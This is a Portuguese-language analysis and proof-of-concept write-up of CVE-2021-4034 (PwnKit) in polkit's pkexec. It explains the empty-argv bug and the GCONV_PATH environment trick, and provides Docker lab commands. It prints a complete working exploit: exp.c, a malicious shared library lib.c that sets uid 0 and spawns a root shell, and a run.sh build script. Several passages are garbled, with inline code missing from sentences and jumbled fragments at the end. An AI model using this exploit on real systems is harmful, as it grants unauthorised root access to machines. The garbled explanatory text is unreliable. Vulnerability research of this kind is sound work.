
CVE-2021-4034 POC and Docker and Analysis write up
[toc]
ID da vulnerabilidade: CVE-2021-4034
Pontuação da vulnerabilidade:
Produto vulnerável: linux PolKit (pkexec)
Escopo de impacto: afeta versões de 2009 até o presente (atualmente 0.105) Referência http://its.dlut.edu.cn/info/1054/78309.htm
Condições de exploração: linux local; pkexec é um arquivo suid com permissão de execução
Obtenção do código-fonte: apt source policykit-1
ou https://launchpad.net/ubuntu/bionic/+package/policykit-1
Ambiente docker: chenaotian/cve-2021-4034
Docker que eu montei, fornece:
pkexec compilado por mim mesmo, depurável com código-fonteTudo está no diretório /root/:

su test para mudar para o usuário test e executarIniciar docker:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
Testar exploit:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
O produto onde a vulnerabilidade ocorre é o comando pkexec do polkit. pkexec é semelhante ao sudo, uma ferramenta que permite executar comandos como outro usuário (normalmente root). Pode-se verificar o pacote ao qual pkexec pertence com o comando dpkg:
dpkg -S /usr/bin/pkexec

Em seguida, obter o pacote fonte (também está no meu docker), depois compilar uma versão depurável a partir do pacote fonte para facilitar a depuração.
O princípio de ativação da vulnerabilidade é muito simples
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
* 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //获取执行命令具体字符串
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
//该函数会根据PATH环境变量寻找要执行命令的绝对地址
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
}
··· ···
··· ···
Análise dos meus comentários no código:
pkexec).-- for encontrado, ele é considerado o comando a ser executado, e o loop é interrompido para prosseguir com a lógica seguinte.g_find_program_in_path para buscar o caminho absoluto do comando. Esta função usa a variável de ambiente PATH para localizar o caminho absoluto do argumento (comando). Por exemplo, se cat for passado, retorna /bin/cat.Ainda é fácil de entender, mas o problema é:
argv[] e as variáveis de ambiente environ[] são colocados no final da pilha, e argv[] e environ[] são contíguos. O último item de argv[] é null.pkexec for iniciado pela linha de comando sem nenhum argumento adicional, argv[0] será "pkexec" e argv[1] será \x00, sem problemas. Mas se for iniciado pela função execve sem argumentos adicionais, argv[0] será \x00 e apontará para a variável de ambiente! Ao ler , será feita uma de .Quando iniciado diretamente pela linha de comando, argc é 1 e argv[0] é o caminho do pkexec:

Iniciando pkexec com a função execve, argc é 0:

O que isso causa? Quando iniciado com execve sem argumentos adicionais, o comprimento de argv[] é 0, então argv[1] é environ[0]. Assim, a lógica analisada acima se torna: obter o valor da primeira variável de ambiente e procurar seu caminho absoluto na variável PATH. Se encontrado, escrever de volta na primeira variável de ambiente. Então o método de exploração é o seguinte:
Primeiramente, é importante deixar claro que pkexec é um arquivo privilegiado (suid):

Como usar variáveis de ambiente para fazer algo em um arquivo privilegiado? Primeiro, um pequeno detalhe:
O vinculador dinâmico do linux ld-linux-x86-64.so.2 limpa variáveis de ambiente sensíveis durante a execução de programas privilegiados:
glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //特权模式的情况下
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//循环将危险环境变量列表中的环境变量全部清空(unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
A lista de variáveis de ambiente perigosas UNSECURE_ENVVARS é definida como:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
Quando é detectado que o programa é um arquivo privilegiado (suid), essas variáveis de ambiente são limpas. Pode-se ver que a maioria são da série LD_, que têm a capacidade de especificar caminhos de carregamento de bibliotecas dinâmicas. Isso evita que usuários de baixo privilégio façam com que programas suid carreguem so não confiáveis por meio dessas variáveis de ambiente, causando execução de código malicioso e escalonamento de privilégio.
E neste cenário de vulnerabilidade, temos uma oportunidade de escrever em qualquer variável de ambiente. Nossa ideia de exploração é tentar encontrar algo entre aquelas variáveis de ambiente que normalmente não podem ser passadas para programas suid.
Como o PoC já foi publicado, a solução é simples de entender diretamente. Aqui referenciamos o PoC do arthepsy. O conteúdo é simples, mas através deste PoC sabemos que a variável de ambiente chave para exploração é GCONV_PATH. De fato, é um dos membros da lista de variáveis perigosas acima, e até o primeiro!
Sobre GCONV_PATH e a função iconv_open():
A função
iconv_open()solicita um descritor de conversão, convertendo sequências de caracteres da codificaçãofromcodepara a codificaçãotcode. O descritor de conversão contém o estado da conversão. A funçãoiconv_open()primeiro encontra o arquivogconv-modulesfornecido pelo sistema, que contém os caminhos de informações relacionadas a cada conjunto de caracteres, e cada conjunto de caracteres tem suas informações armazenadas em um arquivo .so. Em seguida, com base nas instruções do arquivogconv-modules, ele vincula o arquivo .so correspondente ao argumento para executar a operação específica. Se existir a variável de ambienteGCONV_PATH, a funçãoiconv_open()encontra o arquivogconv-modulesde acordo comGCONV_PATH, e as operações subsequentes permanecem inalteradas.
Ou seja, a variável de ambiente GCONV_PATH também tem uma função equivalente a LD_LIBRARY_PATH. Ela pode especificar o diretório onde a função iconv_open() procura por arquivos de bibliotecas .so. Se pudermos falsificar GCONV_PATH e, em seguida, falsificar gconv-modules e, finalmente, falsificar um .so, podemos concluir a carga arbitrária de .so e execução arbitrária de código.
A ideia geral é a seguinte:
Criar um diretório chamado GCONV_PATH=.
Dentro do diretório GCONV_PATH=., criar um arquivo chamado pwnkitdir com permissão de execução.
Criar um diretório chamado pwnkitdir
Dentro do diretório pwnkitdir, criar o arquivo gconv-modules e escrever o seguinte conteúdo conforme o formato:
module UTF-8// PWNKIT// pwnkit 1
Colocar o .so malicioso pwnkit.so dentro do diretório pwnkitdir, que contém o código para obter uma shell.
Definir as variáveis de ambiente relevantes
pwnkitdirPATH=GCONV_PATH=. Dessa forma, o caminho combinado pela função g_find_program_in_path será , que está exatamente no formato de uma variável de ambiente. Além disso, o diretório existe, e o arquivo também existe.E então o exploit é bem-sucedido. O exploit detalhado é o seguinte:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
Exploit bem-sucedido:

Atualizar para a versão mais recente.
Divulgação da vulnerabilidade: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
PoC do arthepsy: https://github.com/arthepsy/CVE-2021-4034
argv[1]argv[1]environ[0]GCONV_PATH=./pwnkitdir./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT, usada no caminho antes de iconv_open para pesquisar o .so a partir do gconv-modules.SHELL=xxx, usada no caminho antes de iconv_open.Iniciar pkexec via execve com argumentos vazios e as variáveis de ambiente definidas acima.